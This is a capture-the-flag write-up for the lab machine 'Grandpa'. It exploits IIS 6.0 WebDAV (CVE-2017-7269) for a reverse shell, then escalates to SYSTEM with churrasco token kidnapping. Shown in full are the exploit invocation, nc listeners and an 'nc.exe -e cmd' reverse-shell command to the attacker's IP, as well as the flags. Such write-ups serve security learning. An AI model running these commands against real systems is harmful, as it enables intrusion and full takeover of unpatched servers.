Grandpa

TL;DR. The only open port is an IIS 6.0 with WebDAV. That version carries CVE-2017-7269, a buffer overflow in the ScStoragePathFromUrl function that gives unauthenticated remote code execution: a reverse shell as NT AUTHORITY\NETWORK SERVICE. That user has SeImpersonatePrivilege, but the host is a Windows Server 2003 and JuicyPotato doesn't apply; the right exploit for that generation is churrasco (token kidnapping), which elevates to SYSTEM.

Recon

Initial scan

A single-packet ping gives the first OS hint through the TTL:

ping -c 1 10.10.10.14

64 bytes from 10.10.10.14: icmp_seq=1 ttl=127 time=175 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan. A full TCP port scan (-p-) finds a single open port, 80:

sudo nmap -p- --open --min-rate 5000 -n -Pn 10.10.10.14

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

extractPorts boils the -oG file down and leaves the port on the clipboard:

extractPorts scan

Extracting information ...
IP Address: 10.10.10.14
Open ports: 80

A single port, but enough. The version scan (-sCV) reveals a very old IIS:

nmap -p80 -sCV 10.10.10.14

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-webdav-scan:
|   Server Type: Microsoft-IIS/6.0
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, ...
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

nmap gives the key: Microsoft IIS 6.0 with WebDAV enabled. IIS 6.0 is the Windows Server 2003 web server, a piece discontinued over a decade ago.

IIS 6.0 - the vector

Unlike Granny (its twin, where the WebDAV PUT/MOVE methods are abused), here nmap's scripts flag PUT/DELETE but it's a false positive: nothing can be uploaded. The real vector is the service version. Searching "IIS 6.0" in searchsploit and the browser points to a specific flaw:

searchsploit returns several Remote Buffer Overflow entries, but the modules it suggests don't fit this box well. It's more reliable to look for a concrete PoC in the browser; the search "IIS 6.0 remote buffer overflow github exploit" points to the g0rx/iis6-exploit-2017-CVE-2017-7269 repository:

Shell as NETWORK SERVICE

CVE-2017-7269: WebDAV ScStoragePathFromUrl

CVE-2017-7269 is a buffer overflow in the IIS 6.0 WebDAV component, specifically in the ScStoragePathFromUrl function, triggered by a PROPFIND request whose If: header contains an excessively long URL. It needs no authentication and runs code with the IIS process's privileges.

We use the public exploit g0rx/iis6-exploit-2017-CVE-2017-7269. It is not a black box: internally it builds that PROPFIND with an If: header of more than two thousand bytes that overflows the buffer, and behind the padding it places shellcode that opens a reverse shell back to the IP and port we give it. That is why it takes four arguments: the IIS IP and port, and our listener IP and port. We clone it and rename it to work more comfortably:

git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git
mv iis6-exploit-2017-CVE-2017-7269 iis6Exploit

Cloning into 'iis6-exploit-2017-CVE-2017-7269'...
remote: Enumerating objects: 6, done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 6 (from 1)
Receiving objects: 100% (6/6), done.

$ ls
iis6-exploit-2017-CVE-2017-7269

Inside, the exploit file ships with spaces in its name ('iis6 reverse shell'), so it gets renamed first. Running it with no arguments prints the usage, which is what tells us what to feed it:

cd iis6Exploit
ls
mv 'iis6 reverse shell' iis6Exploit.py
python2 iis6Exploit.py

README.md  'iis6 reverse shell'

usage:iis6webdav.py targetip targetport reverseip reverseport

Four parameters: target IP and port, attacker IP and port.

With an nc listener ready, we run it with the four parameters. Its own output shows the PROPFIND request it builds with the giant If: header (the overflow), while the listener catches the connection:

sudo rlwrap nc -nlvp 443
python2 iis6Exploit.py 10.10.10.14 80 10.10.16.4 443

PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa...

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
nt authority\network service

The shell lands as nt authority\network service, the context of the IIS application pool.

Shell as SYSTEM

SeImpersonatePrivilege on a Windows Server 2003

Enumerating the user's privileges reveals the usual gem of IIS service accounts:

whoami /priv
SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

SeImpersonatePrivilege is usually exploited with the Potato family (JuicyPotato and derivatives). But systeminfo shows the nuance that defines the box:

OS Name:     Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:  5.2.3790 Service Pack 2 Build 3790

Windows Server 2003. Cross-checking it against JuicyPotato's supported CLSID list, that generation isn't there: JuicyPotato only covers Windows Server 2008 R2 and later (it depends on CLSIDs and the abused COM service), so it doesn't work here:

Looking for the equivalent exploit for this generation, the top result is still the JuicyPotato one:

But opening it, what helps is not in the body but at the very bottom, in the Related section: a sibling article about churrasco.exe.

That article describes churrasco.exe as the exact alternative: "JuicyPotato is not compatible with older systems like Windows Server 2003 or Windows XP", and churrasco fills exactly that gap, elevating from service accounts to NT AUTHORITY\SYSTEM:

The article itself links the pre-built binary, one click away:

So we use churrasco (repo).

Token kidnapping with churrasco

churrasco exploits the token kidnapping technique: it leverages SeImpersonatePrivilege to steal the token of a process running as SYSTEM and run a command under that identity. It's the "old" version of the same abuse the Potato family later popularized.

We prepare both binaries locally: churrasco.exe (downloaded from the repo) and an nc.exe, which we locate in SecLists and copy to the working directory:

mv ~/Downloads/churrasco.exe .
locate nc.exe
cp ~/SecLists/Web-Shells/FuzzDB/nc.exe .

$ locate nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/buff/content/nc.exe
/home/krmena/machines/devel/content/nc.exe
/usr/share/windows-resources/binaries/nc.exe

$ ls
churrasco.exe  iis6Exploit  nc.exe

We serve them over SMB (without smb2support, given such an old Windows) and, with a listener ready, ask churrasco to run nc.exe as SYSTEM against our IP:

smbserver.py smbFolder $(pwd)
sudo rlwrap nc -nlvp 443

On the victim, we copy churrasco.exe from the SMB share and launch it passing the SMB-reachable nc.exe as the command to run:

copy \\10.10.16.4\smbFolder\churrasco.exe
.\churrasco.exe "\\10.10.16.4\smbFolder\nc.exe -e cmd 10.10.16.4 443"

(Worth running a couple of times: the machine is slow and sometimes the first attempt doesn't catch.)

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
nt authority\system

The reverse shell lands as NT AUTHORITY\SYSTEM. With that context we read both flags (in the classic Documents and Settings folder structure, abbreviated DOCUME~1):

C:\DOCUME~1>type Harry\Desktop\user.txt
bdff5ecb7c3cff817f2bedc146a5d869

C:\DOCUME~1>type Administrator\Desktop\root.txt
9359e905a2c35f861f6a57cecf28bb7b

Attack chain

IIS 6.0 + WebDAV (80)
   └─ CVE-2017-7269 (BOF in ScStoragePathFromUrl)  ──►  NETWORK SERVICE (user.txt Harry)
        └─ SeImpersonatePrivilege on Windows Server 2003
             └─ churrasco (token kidnapping)  ──►  NT AUTHORITY\SYSTEM (root.txt)

Lessons learned

• The version is the vulnerability. There was no directory enumeration or fuzzing here: nmap shouted "IIS 6.0" and that was enough. Discontinued software piles up critical CVEs with public exploits.
• The privesc exploit depends on the Windows version. SeImpersonatePrivilege is exploited differently by generation: JuicyPotato from 2008 onward, churrasco for 2003/XP. Confirming systeminfo before choosing a tool saves failed attempts.
• WebDAV is attack surface in itself. Both Grandpa's BOF and its twin Granny's PUT/MOVE abuse stem from the same component. If it isn't used, disable it.
• Legacy systems aren't patched: they're isolated or retired. A Windows Server 2003 exposed in 2017 (or later) is indefensible; the only real mitigation is taking it out of production.